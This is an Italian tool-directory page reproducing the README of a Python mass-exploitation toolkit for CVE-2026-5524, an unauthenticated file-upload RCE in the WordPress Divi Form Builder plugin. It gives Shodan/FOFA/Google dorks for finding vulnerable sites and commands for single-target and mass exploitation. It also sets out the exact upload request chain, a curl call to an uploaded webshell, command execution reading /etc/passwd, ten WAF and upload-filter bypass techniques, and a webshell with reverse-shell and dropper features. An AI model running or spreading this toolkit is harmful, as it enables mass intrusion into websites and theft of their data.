Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5524-PoC — Toolkit Python di mass-exploit per CVE-2026-5524, un RCE tramite upload di file non autenticato nel plugin WordPress Divi Form Builder, con upload di webshell ed esecuzione di comandi. | Kitploit
Strumenti/GitHubGitHub/iicaicai/cve-2026-5524-poc
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniBypass WAFSicurezza WebPenetration TestingRed TeamingSviluppo PayloadTrojan di Accesso Remoto
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
iicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Toolkit Python di mass-exploit per CVE-2026-5524, un RCE tramite upload di file non autenticato nel plugin WordPress Divi Form Builder, con upload di webshell ed esecuzione di comandi.

Vedi Repository
Condividi

CVE-2026-5524 — RCE non autenticato in Divi Form Builder

Toolkit di exploit di massa per CVE-2026-5524, una vulnerabilità di upload arbitrario di file non autenticato nel plugin WordPress Divi Form Builder <= 5.1.8 che porta all'esecuzione di codice in remoto.

version Devon Aji python telegram

CampoValore
CVE2026-5524
CVSS9.8 (Critico)
VettoreAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AffettoDivi Form Builder <= 5.1.8
Corretto5.1.9
TipoUpload di file non autenticato con RCE
Ricercatore0xd4rk5id3 - EnvoraSec

Indice

  • Descrizione
  • Dorks
  • Installazione
  • Utilizzo
    • Target singolo
    • Exploit di massa
    • Bypass avanzato
    • Esecuzione di comandi
  • Dettagli della vulnerabilità
  • Tecniche di bypass
  • Stack tecnologico
  • Struttura del progetto
  • Flusso dell'attacco
  • Disclaimer

Descrizione

Il plugin Divi Form Builder per WordPress contiene una vulnerabilità di upload arbitrario di file non autenticato. Il gestore do_image_upload() passa il parametro POST acceptFileTypes, controllato dall'utente, direttamente in un'espressione regolare utilizzata per validare le estensioni dei file. Fornendo un valore come phtml, un attaccante può aggirare la regola .htaccess del plugin che blocca solo l'estensione .php e caricare una webshell con un'estensione eseguibile da PHP (.phtml, .phar, .php5, .php7 e simili).

Una volta che il file si trova in /wp-content/uploads/de_fb_uploads/, Apache lo esegue come PHP, concedendo all'attaccante l'esecuzione di codice in remoto con i privilegi dell'utente del web server.

Il problema è risolto in Divi Form Builder 5.1.9.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Installazione

Requisiti: Python 3.8 o superiore su Linux, macOS o WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Utilizzo

Target singolo

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Exploit di massa

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Bypass avanzato

Per target dietro un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configurazioni Apache o nginx rafforzate.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Esecuzione di comandi

Dopo un upload riuscito, lo script può eseguire immediatamente un comando o aprire una shell interattiva.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flag

FlagDescrizione
-u URLURL del target singolo
-l FILEFile contenente la lista dei target, un URL per riga
-t NNumero di thread concorrenti (predefinito 10)
--timeout NTimeout della richiesta in secondi (predefinito 15)
-o FILESalva i risultati in un file di output JSONL
--proxy URLInstrada il traffico attraverso un proxy HTTP
--nonce HASHUsa un nonce fornito manualmente, salta il rilevamento automatico
--ext EXTForza una singola estensione invece della lista completa di bypass
--shellApre una shell RCE interattiva in caso di successo (solo target singolo)
--cmd CMDEsegue un comando sul target, poi esce
--shell-file FILECarica un payload shell personalizzato invece di quello integrato
--no-verifySalta la fase di verifica RCE post-upload
--strict-verifyConferma che l'URL della shell restituisca HTTP 200 per filtrare i falsi positivi
--user-iniCarica un dropper .user.ini per ambienti PHP-FPM
--htaccessCarica un riabilitatore .htaccess per ambienti Apache
--aggressiveAbilita ogni tecnica di bypass disponibile
--null-byteInclude tentativi con null byte e doppia estensione
--path-traversalProva a caricare nelle sottodirectory /uploads/YYYY/MM/
--debugStampa le risposte HTTP grezze per la diagnosi

Dettagli della vulnerabilità

Codice vulnerabile

Il gestore vulnerabile costruisce un'espressione regolare dall'input dell'utente senza sanificazione.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Inviando acceptFileTypes=phtml, l'espressione regolare risultante /\.(phtml)$/i corrisponde ai nomi di file che terminano con .phtml, anche se il file .htaccess del plugin blocca solo l'estensione .php. Apache esegue quindi il file caricato come PHP, producendo l'esecuzione di codice in remoto.

Catena di attacco confermata

  1. Scansiona una pagina che incorpora un form di Divi Form Builder (/, /contact, /quote, ecc.). Aggiungi un parametro ?nocache=<random> per aggirare Varnish, WP Rocket e altre cache di pagina che altrimenti servirebbero un nonce obsoleto.

  2. Estrai il valore fb_nonce dall'oggetto JavaScript localizzato:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 caratteri hex>", ...}
    
  3. Invia un POST multipart a /wp-admin/admin-ajax.php con:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Leggi l'URL del file dalla risposta JSON:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Richiedi la shell con un comando codificato in base64:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Tecniche di bypass

#TecnicaTarget
1Estensioni PHP alternative .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlRegola .htaccess del plugin che blocca solo .php
2Variazione di maiuscole/minuscole .PHTML, .PHP5, .PhTmLFirme WAF sensibili al caso (NinjaFirewall)
3Doppia estensione .phtml.jpg, .php.jpgParticolarità di negoziazione del contenuto di Apache mod_mime
4Null byte .php%00.jpg, .phtml%00.txtVecchie versioni di PHP (precedenti alla 5.3.4) e alcuni parser
5Spazio o punto finale .php , .php.Windows IIS e versioni più vecchie di Apache
6Spoofing del Content-Type application/octet-streamWAF che si basano sull'header Content-Type multipart
7Carica un vero .htaccess che riabilita PHP per .gif, .png, .jpg, .txt, .html, ecc.Server Apache con AllowOverride All
8Carica un .user.ini con auto_prepend_fileAmbienti PHP-FPM
9Iniezione del nome file tramite manipolazione del boundary multipartProxy e WAF che ri-analizzano il corpo della richiesta
10Path traversal ../shell.phtml nel nome del fileRestrizioni della directory del plugin

Lo script prova ogni tecnica in ordine di priorità e, quando --aggressive è impostato, tenta ognuna anche dopo che il primo upload riporta successo.


Stack tecnologico

Script di exploit

ComponenteTecnologia
LinguaggioPython 3.8+
Client HTTPrequests
Gestione TLSurllib3 in modalità insicura per certificati self-signed
Concorrenzaconcurrent.futures.ThreadPoolExecutor per la scansione di massa
Parsingre per l'estrazione del nonce, json per la gestione delle risposte
Codificabase64 per il parametro del comando della webshell
CLIargparse con 19 flag configurabili

Shell personalizzata (bypass.phtml)

ComponenteTecnologia
LinguaggioPHP 7.0+
Funzioni di esecuzionesystem(), shell_exec(), proc_open(), passthru(), popen()
Front endForm HTML semplice, nessun framework JavaScript
FunzionalitàFile browser, esecuzione di comandi, accesso al database, reverse shell, auto-installazione di .htaccess e .user.ini
DimensioneCirca 16 KB
Livelli di bypassSei percorsi di esecuzione indipendenti più payload codificati

Struttura del progetto

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Script di exploit principale
|-- bypass.phtml              Webshell PHP multi-livello da 16 KB
|-- htaccess_enable.phtml     Dropper che scrive un .htaccess riabilitante
|-- user_ini.phtml            Dropper che scrive un .user.ini per PHP-FPM
|-- targets.txt               Lista di target di esempio
|-- pwned.jsonl               Generato dal flag -o durante le scansioni di massa
|-- requirements.txt          Dipendenze Python
`-- README.md                 Questo documento

Flusso dell'attacco

root@kitploit:~
+--------------------------------------------------+
| 1. Ricognizione                                  |
|    GET /?nocache=<random>                        |
|    Estrai fb_nonce da de_fb_obj                  |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Prepara l'exploit                             |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Il server accetta e memorizza il file         |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Esegui                                       |
|    GET shell.phtml?x=base64(command)             |
|    Esecuzione di codice in remoto ottenuta       |
+--------------------------------------------------+

Disclaimer

Questo tool è fornito per scopi educativi e per l'uso durante attività di penetration testing autorizzate. Esempi di uso accettabile includono:

  • Programmi di bug bounty che autorizzano esplicitamente il test del target
  • Competizioni Capture the Flag e ambienti di laboratorio dedicati
  • Valutazioni di sicurezza interne con permesso scritto del proprietario dell'asset
  • Ricerca accademica sulla sicurezza condotta in un ambiente controllato

L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso scritto di test è illegale in praticamente ogni giurisdizione ed è severamente proibito. L'autore non approva né si assume la responsabilità per l'uso improprio di questo codice.

J'ai la permission et je suis autorisé à effectuer ce pentest. (Ho il permesso e sono autorizzato a eseguire questo pentest.)

Le leggi di probabile rilevanza includono la UU ITE indonesiana, il Computer Fraud and Abuse Act degli Stati Uniti, la Convenzione sulla criminalità informatica dell'Unione Europea e legislazioni equivalenti altrove. In caso di dubbio, ottieni prima l'autorizzazione scritta.


Licenza

Solo per uso educativo. Consulta la sezione disclaimer per i termini di utilizzo completi.

Scarica lo strumento